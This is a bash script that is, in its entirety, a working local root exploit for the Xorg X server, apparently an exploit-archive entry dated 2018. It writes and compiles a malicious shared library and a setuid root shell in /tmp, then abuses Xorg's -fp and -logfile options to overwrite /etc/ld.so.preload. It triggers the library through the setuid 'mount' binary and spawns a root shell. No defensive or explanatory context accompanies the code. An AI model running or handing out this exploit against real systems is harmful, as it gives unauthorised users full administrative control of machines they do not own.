xorg-x11-server Local Root

`#!/bin/bash  
# x0rg - Xorg Local Root Exploit  
# Released under the Snitches Get Stitches Public Licence.  
# props to prdelka / fantastic for the shadow vector.   
# Gr33tz to everyone in #lizardhq and elsewhere <3  
# ~infodox (25/10/2018)  
# FREE LAURI LOVE!  
echo "x0rg"  
echo "[+] First, we create our shell and library..."  
cat << EOF > /tmp/libhax.c  
#include <stdio.h>  
#include <sys/types.h>  
#include <unistd.h>  
__attribute__ ((__constructor__))  
void dropshell(void){  
chown("/tmp/rootshell", 0, 0);  
chmod("/tmp/rootshell", 04755);  
unlink("/etc/ld.so.preload");  
printf("[+] done!\n");  
}  
EOF  
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c  
rm -f /tmp/libhax.c  
cat << EOF > /tmp/rootshell.c  
#include <stdio.h>  
int main(void){  
setuid(0);  
setgid(0);  
seteuid(0);  
setegid(0);  
execvp("/bin/sh", NULL, NULL);  
}  
EOF  
gcc -o /tmp/rootshell /tmp/rootshell.c  
rm -f /tmp/rootshell.c  
echo "[+] Hack the planet!"  
cd /etc; Xorg -fp "/tmp/libhax.so" -logfile ld.so.preload :1;  
mount # arbritary setuid we run to pop root  
echo "[+] Tidy up a bit..."  
rm -f /tmp/libhax.so  
echo "[<3] :PPpPpPpOpr000000t!"  
/tmp/rootshell  
  
`